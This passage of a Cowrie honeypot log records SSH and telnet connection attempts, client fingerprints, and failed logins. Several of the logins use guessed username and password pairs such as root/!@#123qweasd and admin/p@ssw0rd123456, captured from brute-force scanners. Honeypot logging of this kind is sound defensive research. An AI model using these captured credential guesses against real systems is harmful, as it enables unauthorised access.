{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:22:31.814003Z","src_ip":"162.223.91.130","session":"a92c64f922e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00112175941467,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:22:44.552855Z","src_ip":"41.68.62.5","session":"2a86168c7cc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.68.62.5","src_port":40738,"dst_ip":"159.203.135.109","dst_port":23,"session":"229bf3f854a7","protocol":"telnet","message":"New connection: 41.68.62.5:40738 (159.203.135.109:23) [session: 229bf3f854a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:22:46.092834Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.68.62.5","src_port":41730,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cb0bd897c4c","protocol":"telnet","message":"New connection: 41.68.62.5:41730 (159.203.135.109:23) [session: 5cb0bd897c4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:22:59.162849Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.162.19","src_port":58840,"dst_ip":"159.203.135.109","dst_port":22,"session":"e47e7fa63047","protocol":"ssh","message":"New connection: 81.30.162.19:58840 (159.203.135.109:22) [session: e47e7fa63047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:05.017798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:05.024842Z","src_ip":"81.30.162.19","session":"e47e7fa63047","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:05.140725Z","src_ip":"81.30.162.19","session":"e47e7fa63047","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#123qweasd","message":"login attempt [root/!@#123qweasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:05.638255Z","src_ip":"81.30.162.19","session":"e47e7fa63047","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:06.757271Z","src_ip":"81.30.162.19","session":"e47e7fa63047","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.223.91.130","src_port":56574,"dst_ip":"10.17.0.5","dst_port":22,"session":"11b80d11cc08","protocol":"ssh","message":"New connection: 162.223.91.130:56574 (10.17.0.5:22) [session: 11b80d11cc08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:07.582648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:07.587739Z","src_ip":"162.223.91.130","session":"11b80d11cc08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:07.606448Z","src_ip":"162.223.91.130","session":"11b80d11cc08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"password","message":"login attempt [user1/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:07.713620Z","src_ip":"162.223.91.130","session":"11b80d11cc08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:08.734654Z","src_ip":"162.223.91.130","session":"11b80d11cc08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55394,"dst_ip":"159.203.135.109","dst_port":22,"session":"f794ac4cab0d","protocol":"ssh","message":"New connection: 159.203.92.129:55394 (159.203.135.109:22) [session: f794ac4cab0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:09.042320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:09.046482Z","src_ip":"159.203.92.129","session":"f794ac4cab0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:09.051420Z","src_ip":"159.203.92.129","session":"f794ac4cab0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"welcome1","message":"login attempt [ansible/welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:09.063062Z","src_ip":"159.203.92.129","session":"f794ac4cab0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:10.069574Z","src_ip":"159.203.92.129","session":"f794ac4cab0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.88.74.212","src_port":40116,"dst_ip":"159.203.135.109","dst_port":23,"session":"175b0cb190bb","protocol":"telnet","message":"New connection: 187.88.74.212:40116 (159.203.135.109:23) [session: 175b0cb190bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:13.156289Z"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.142.221","src_port":40628,"dst_ip":"10.17.0.5","dst_port":22,"session":"018e1dbc11d5","protocol":"ssh","message":"New connection: 210.79.142.221:40628 (10.17.0.5:22) [session: 018e1dbc11d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:13.805318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:13.810229Z","src_ip":"210.79.142.221","session":"018e1dbc11d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:14.061141Z","src_ip":"210.79.142.221","session":"018e1dbc11d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"p@ssw0rd123456","message":"login attempt [admin/p@ssw0rd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:15.068015Z","src_ip":"210.79.142.221","session":"018e1dbc11d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:16.313662Z","src_ip":"210.79.142.221","session":"018e1dbc11d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":57548,"dst_ip":"159.203.135.109","dst_port":22,"session":"22e31765a6ba","protocol":"ssh","message":"New connection: 157.7.113.83:57548 (159.203.135.109:22) [session: 22e31765a6ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:27.216594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:27.221091Z","src_ip":"157.7.113.83","session":"22e31765a6ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:27.376111Z","src_ip":"157.7.113.83","session":"22e31765a6ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"tset","message":"login attempt [test/tset] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:28.020965Z","src_ip":"157.7.113.83","session":"22e31765a6ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:29.176507Z","src_ip":"157.7.113.83","session":"22e31765a6ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.223.91.130","src_port":43238,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9b823101cbf","protocol":"ssh","message":"New connection: 162.223.91.130:43238 (10.17.0.5:22) [session: b9b823101cbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:45.498449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:45.503656Z","src_ip":"162.223.91.130","session":"b9b823101cbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:45.522495Z","src_ip":"162.223.91.130","session":"b9b823101cbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@2023","message":"login attempt [mysql/mysql@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:45.629505Z","src_ip":"162.223.91.130","session":"b9b823101cbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:46.650665Z","src_ip":"162.223.91.130","session":"b9b823101cbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42342,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc86b4b08abf","protocol":"ssh","message":"New connection: 159.203.92.129:42342 (159.203.135.109:22) [session: dc86b4b08abf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:54.369459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:54.373813Z","src_ip":"159.203.92.129","session":"dc86b4b08abf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:54.377854Z","src_ip":"159.203.92.129","session":"dc86b4b08abf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"welcome@123","message":"login attempt [ansible/welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:54.392240Z","src_ip":"159.203.92.129","session":"dc86b4b08abf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:55.398520Z","src_ip":"159.203.92.129","session":"dc86b4b08abf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":34616,"dst_ip":"159.203.135.109","dst_port":23,"session":"1697b91a9b77","protocol":"telnet","message":"New connection: 62.171.135.55:34616 (159.203.135.109:23) [session: 1697b91a9b77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:55.664499Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.162.19","src_port":39174,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f5427dfc607","protocol":"ssh","message":"New connection: 81.30.162.19:39174 (159.203.135.109:22) [session: 0f5427dfc607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:58.137866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:58.142174Z","src_ip":"81.30.162.19","session":"0f5427dfc607","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@